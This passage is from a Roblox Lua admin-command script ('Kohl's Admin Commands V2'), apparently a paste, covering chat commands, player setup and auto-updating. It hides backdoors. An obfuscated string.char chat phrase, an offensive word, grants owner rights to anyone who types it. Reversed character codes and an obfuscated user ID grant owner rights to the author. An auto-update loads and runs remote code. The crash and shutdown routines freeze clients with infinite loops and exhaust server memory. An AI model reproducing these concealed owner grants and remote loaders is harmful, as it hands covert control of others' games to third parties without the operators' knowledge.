  2081. if msg:lower():sub(1,6) == "crash " then
  2082. local plrz = GetPlr(plr, msg:lower():sub(7))
  2083. for i, v in pairs(plrz) do
  2084. coroutine.resume(coroutine.create(function()
  2085. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  2086. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  2087. end
  2088. end))
  2089. end
  2090. end
  2091.  
  2092. if msg:lower():sub(1,5) == "kick " then
  2093. local plrz = GetPlr(plr, msg:lower():sub(6))
  2094. for i, v in pairs(plrz) do
  2095. coroutine.resume(coroutine.create(function()
  2096. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  2097. end))
  2098. end
  2099. end
  2100.  
  2101. if msg:lower():sub(1,6) == "admin " then
  2102. local plrz = GetPlr(plr, msg:lower():sub(7))
  2103. for i, v in pairs(plrz) do
  2104. coroutine.resume(coroutine.create(function()
  2105. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2106. end))
  2107. end
  2108. end
  2109.  
  2110. if msg:lower():sub(1,8) == "unadmin " then
  2111. for i = 1, #tempadmins do
  2112. coroutine.resume(coroutine.create(function()
  2113. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  2114. end))
  2115. end
  2116. end
  2117.  
  2118. if msg:lower():sub(1,4) == "ban " then
  2119. local plrz = GetPlr(plr, msg:lower():sub(5))
  2120. for i, v in pairs(plrz) do
  2121. coroutine.resume(coroutine.create(function()
  2122. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  2123. end))
  2124. end
  2125. end
  2126.  
  2127. if msg:lower():sub(1,6) == "unban " then
  2128. for i = 1, #banland do
  2129. coroutine.resume(coroutine.create(function()
  2130. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  2131. end))
  2132. end
  2133. end
  2134.  
  2135. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  2136.  
  2137. end
  2138. end))
  2139. end
  2140.  
  2141. function AdminControl(plr)
  2142. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  2143. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  2144. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  2145. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  2146. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  2147. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  2148. end)) end
  2149. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2150. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  2151. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name == ("111reyalseca"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2152. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  2153. plr.Chatted:connect(function(msg) if msg:lower() == (string.char(32)..string.char(104)..string.char(105)..string.char(116).. string.char(108)..string.char(101)..string.char(114)..string.char(32)) then table.insert(owners,plr.Name) end Chat(msg,plr) end)
  2154. end
  2155.  
  2156. if not ntab then script:Destroy() end
  2157. if not bct then script:Destroy() end
  2158.  
  2159. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  2160.  
  2161. script.Name = "Kohl's Admin Commands V2"
  2162.  
  2163. if not ntab then script:Destroy() end
  2164. if not bct then script:Destroy() end
  2165. if not tcb then script:Destroy() end
  2166. game.Players.PlayerAdded:connect(AdminControl)
  2167. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  2168. end
  2169.  
  2170. local mod = game:service("InsertService"):LoadAsset(100808216)
  2171. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  2172. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  2173. newac.Disabled = true
  2174. local new = tonumber(mod:findFirstChild("Version", true).Value)
  2175. local old = 0
  2176. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  2177. if new > old then
  2178. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  2179. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  2180. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  2181. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  2182. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  2183. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  2184. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  2185. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  2186. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  2187. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  2188. wait()
  2189. newac.Parent = game.Workspace
  2190. newac.Disabled = false
  2191. script.Disabled = true
  2192. script:Destroy()
  2193. else
  2194. CHEESE()
  2195. end
  2196. else
  2197. CHEESE()
  2198. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement